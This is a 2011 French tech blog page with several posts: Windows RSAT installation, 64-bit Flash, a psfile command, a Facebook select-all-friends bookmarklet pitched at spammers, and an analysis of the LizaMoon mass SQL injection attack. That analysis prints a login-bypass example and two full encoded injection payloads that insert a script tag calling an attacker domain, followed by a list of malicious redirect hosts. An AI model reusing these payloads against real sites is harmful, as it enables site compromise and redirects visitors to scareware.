11 avr. 2011

[test] Windows 7 Remote Server Administration Tools

Vendredi était mis en ligne le SP1 du Remove Server Administration Tools pour Windows 7, disponible en 19 langues. J'en profite pour faire un tour d'horizon de RSAT. Cet outil permet d'administrer les serveurs, de Windows Server 2003 à 2008 R2, dans le même domaine/groupe de travail que le poste client. Il ajoute les MMC principales d'administration de serveurs et de domaines.

Installation se fait en deux étapes :
1) Télécharger Win7 RSAT SP1 (~300 Mo, français, x86/x64) et installer. Redémarrer.
2) Panneau de configuration > Programmes > Activer ou désactiver des fonctionnalités Windows :
Cochez les fonctions que vous souhaitez administrer à distance. OK. Redémarrer.

Vous trouverez dans le menu démarrer de votre Windows 7 un menu "Outils d'administration" :
Comme sur Windows Server 2003-2008, ce sont des composants enfichables pour MMC (certains composants ne fonctionnent que pour Windows Server 2008 voire Windows Server 2008 R2).

Voici la liste des MMC:
en gris, les composants qui existaient avant cette mise à jour ;
en italique, les composants qui affichent les données locales et non distantes.
Gestionnaire de bureau à distance TSE, Analyseur de performance (perfmon), Autorité de certification, Centre d'Administration Active Directory (2008), Configuration du système (msconfig), DHCP, Diagnostic de mémoire Windows, DNS, Domaines et approbations Active Directory, Explorateur de stockage, Gestion de l'impression, Gestion de l'ordinateur, Gestion de répondeurs en ligne de révocation de certificats, Gestion des stratégies de groupe, Gestion du partage et du stockage (2008), Gestion du système de fichier distribué DFS, Gestionnaire d'équilibrage de charge réseau, Gestionnaire de ressources du serveurs de fichiers (2008), Gestionnaire de ressource système Windows wsrm (2008), Gestionnaire de serveur (2008), Gestionnaire de stockage pour réseau SAN (2008), Gestionnaire des services Internet (IIS), Gestionnaire du cluster de basculement, Gestionnaire Hyper-V (2008), Gestionnaire iSCSI, Modifications ADSI, Module Active Directory pour Powershell, Observateurs d'évènements, Pare-feu Windows, Planificateur de tâche, Services et composants, Services, Sites et services Active Directory, Source de données ODBC, Stratégie de sécurité locale, Utilisateurs et ordinateurs Active Directory, Windows Powershell Modules.

10 avr. 2011

[astuce] Installez Flash en 64 bits !

Saviez-vous que le plugin Flash existe en version 64 bits ? Sous Windows, Internet Explorer 7, 8 et 9 existent en version 64 bits, il serait dommage de ne pas en profiter.

Pour installer Flash en 64 bits, désinstaller la version actuelle, et téléchargez la nouvelle ici. Curieusement, la version x64 indiquée est (à l'heure où j'écris ces lignes) la 10.1, mais une fois installée il s'agit de la version 10.3.162.28 !

Évidemment, vous devez lancer un navigateur 64 bits pour en profiter. Il n'est pas possible de définir Internet Explorer x64 comme navigateur par défaut (parce qu'il n'est pas totalement approuvé par Microsoft).
 Il existe une solution sous Windows Vista (qui ne fonctionne pas sous Seven) :
- Dans le menu démarrer, recherchez "Programmes par défaut"
- Choisir "Associer des types de fichiers et des protocoles"
- Choisir HTTP, cliquer sur changer, puis parcourir vers c:\program files\internet explorer\iexplore.exe.
Une solution barbare consiste à écraser le répertoire c:\program files (x86)\internet explorer par son équivalent 64 bits de c:\program files\internet explorer.

 Sous Seven (écran à gauche), n'est visible que Internet Explorer 32 bits...

7 avr. 2011

[décryptage] Injection SQL LizaMoon

Tout le monde en parle, mais concrètement, qu'est-ce que LizaMoon ?

Partons sur de bonnes bases. Qu'est-ce qu'une injection SQL ?
Une injection SQL est une méthode d'attaque d'un site web dynamique, dont le but est de modifier une requête SQL appelée par une page web. Pour cela, il faut corrompre la requête web GET ou POST, en insérant des valeurs inattendues dans les champs.
Prenons un exemple:
Vous avez une page d'identification, avec un champ identifiant et un champ mot de passe.
Votre table user en base de données possède un champ login et password.
Pour identifier l'utilisateur, votre page web va vérifier le couple login,password avec les valeurs fournies par l'utilisateur : identifiant,mot de passe. Pour cela, on utilise une requête SQL par exemple: "SELECT * FROM user WHERE login = '$ident' AND pass = '$passe';";
Jusque là, tout va bien. Mais que se passe-t-il si l'utilisateur "admin" entre comme mot de passe la chaine suivante : ' or 1=1
La clause WHERE de la requête devient login = 'admin' AND pass = '' or 1=1; ce qui implique que la requête est toujours vraie, et l'utilisateur est alors connecté avec le premier compte de la base de donnée, généralement l'administrateur. Ceci est un exemple simple, qui est protégé nativement dans PHP grâce aux magic quotes, qui remplace les apostrophes, guillemets et anti-slashs. Il existe une multitude de variantes d'injection SQL : cet exemple montre l'usurpation, mais on peut aussi récupérer le contenu d'une table, ou ajouter un code html dans un champ, qui sera ensuite affiché aux visiteurs, comme LizaMoon...

Revenons à ce qui nous intéresse. LizaMoon.
LizaMoon est le nom donnée à une attaque de grande ampleur par injection SQL (Mass SQL Injection Attack), baptisée ainsi au nom du premier site appartenant aux pirates détecté. Cette attaque a démarré le 25 mars 2011, a été repérée par Websense Security Labs le 29 mars où 28 000 sites seraient concernés au moment de la détection, 380 000 le lendemain. Au 5 avril, ce nombre passait à plus de 500 000, dont la moitié des sites sont étasuniens. LizaMoon, similaire à l'attaque "Gumblar" (Gumblar.cn/Martuz.cn, Troj/JSRedir-R), est considéré par certains comme étant la plus grande attaque par injection SQL jamais réalisée.
LizaMoon utilise une faille jusque là inexploitée et encore inconnue, qui permet d'injecter du contenu dans la base SQL du serveur. Il ne s'agit pas d'une faille XSS comme certains le prétendent. Le ou les pirates s'en sont servis pour rediriger tous les visiteurs des sites infectés vers un de leurs nombreux sites (listés plus bas), faisant la promotion d'un soi disant antivirus (un scareware), qui n'est évidemment qu'une méthode pour extorquer de l'argent à l'internaute mal informé. La redirection s'est faite par l'insertion d'une balise <script src=... />. Une simple requête de "<script src=http://*/ur.php" sur google permet de voir l'étendue des dégâts, retournait 1,5 million de résultats il y a quelques jours, 700 000 aujourd'hui.

Détails sur l'injection SQL.
Cette injection SQL a été conçue pour les pages ASP utilisant une base de données Microsoft SQL Server (toutes versions confondues). Il ne s'agit pas d'une faille de sécurité de Microsoft SQL Server, mais bien d'une injection SQL, donc d'une erreur du développeur de la page ASP. L'attaque se base sur 2 injections possibles, permettants l'insertion de la balise script malicieuse:
+update+Table+set+FieldName=REPLACE(cast(FieldName+as+varchar(8000)),cast(char(60)%2Bchar(47)
%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)
%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)
%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)
%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)
%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)
%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)
%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)
%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)
+as+varchar(8)))--
Ce qui correspond à : +update+Table+set+FieldName=REPLACE(cast(Forename+as+varchar(8000)) ,cast(</title><script src=http://google-stats49.info/ur.php>+as+varchar(8000)),cast(char(32)+as+varchar(8)))--.
ou...
surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+ as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar( 108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2B char(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(10 4)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bch ar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(11 6)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bcha r(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112) %2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar( 114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+v archar(8)))--
Ce qui correspond à : surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+ as+varchar(8000)),cast(</title><script src=http://google-stats49.info/ur.php> +as+varchar(8000)),cast(char(32)+as+v archar(8)))--.
Cette valeur est inscrite dans un champ de la base de données, qui est utilisé dans le titre de la page (d'où le </title>). Le titre est donc fermé immédiatement, et est suivie par le script. Le navigateur voit un titre vide, puis un script à exécuter. Le nom de la table et du champ est spécifique pour chaque site, contrairement à l'attaque de 2008 qui était générique, opéré depuis des botnets, et ayant affectés 50 000 ip uniques.
Ces valeurs ont été découvertes dans les fichiers de log de serveurs IIS. Les requêtes n'ont pas été bloquées par les filtres htaccess ou équivalent pour IIS, puisque le mot clé script n'apparait pas en clair dans l'URL. Ici l'URL est google-stats49.info/ur.php, mais il y en a plein d'autre (voir ci-dessous), mais c'est worid-of-books.com/ur.php qui a été la plus utilisée près de 50% des cas. Tous ces sites sont bloqués par Google comme l'indique la page de blocage de Firefox 4 :
lizamoon.com/ur.php
worid-of-books.com/ur.php
tadygus.com/ur.php
alexblane.com/ur.php
alisa-carter.com/ur.php
online-stats201.info/ur.php
stats-master111.info/ur.php
agasi-story.info/ur.php
general-st.info/ur.php
extra-service.info/ur.php
t6ryt56.info/ur.php
sol-stats.info/ur.php
google-stats49.info/ur.php
google-stats45.info/ur.php
google-stats50.info/ur.php
stats-master88.info/ur.php
eva-marine.info/ur.php
stats-master99.info/ur.php
google-server43.info/ur.php
tzv-stats.info/ur.php
milapop.com/ur.php
pop-stats.info/ur.php
star-stats.info/ur.php
multi-stats.info/ur.php
google-stats44.info/ur.php
books-loader.info/ur.php
google-stats73.info/ur.php
google-stats47.info/ur.php
google-stats50.info/ur.php
Ci-dessous le code d'une page ur.php. Ce code est très simple, il redirige vers le scareware (fakeAV) : "Windows Stability Center". Il propose de télécharger le fichier freesystemscan.exe (md5: 815d77f8fca509dde1abeafabed30b65).

Ce téléchargement se fait depuis l'ip 46.252.130.200 ou 84.123.115.228 (qui est utilisée par une multitude de nom de domaine, tous en .co.cc (île australienne) ou .in (inde), dont les noms de domaines ont été enregistrés via une adresse Gmail unique générée aléatoirement.


Sources: Websence Security Labs, blog de Dancho Danchev, stackoverflow.com, zastita.com.

6 avr. 2011

[snippet] Lister les fichiers ouverts sur un serveur distant

Parfois il peut être utile de voir la liste des fichiers ouverts sur un serveur, sans forcément y ouvrir une session pour obtenir cette liste.
C'est possible facilement, grâce au programme psfile (disponible ici).


Syntaxe :
psfile.exe \\ip -u login -p password chemin|descid

Couplé avec un bout de powershell, et on peut filtrer les résultats, par exemple, tous les fichiers Excel...
.\psfile.exe \\10.10.0.253 | foreach-Object { if($_.StartsWith("[") -and $_.EndsWith(".xls")) { echo $_ } }
On peut également fermer les fichiers que l'on souhaite grâce à l'option -c.

5 avr. 2011

[snippet] Comment sélectionnez tous ses amis sur Facebook d'un coup ?

Petite astuce, pour les spammeurs : comment sélectionnez tous ses amis d'un coup, pour les inviter à un truc qui ne les intéresse pas ? Plus besoin de massacrer sa souris. Il suffit de copier/coller le code javascript suivant dans la barre d'adresse et d'appuyer sur Entrée.

Anciennement, le code était :
javascript:elms=document.getElementById('friends').getElementsByTagName('li');for(var fid in elms){if(typeof elms[fid] === 'object'){fs.click(elms[fid]);}}

Mais Facebook évolue tous les jours. Voici une nouvelle version du code fonctionnel :
javascript:elms=document.getElementsByName("checkableitems[]");for (i=0;i<elms.length;i++){if (elms[i].type="checkbox" )elms[i].click()};

Enjoy !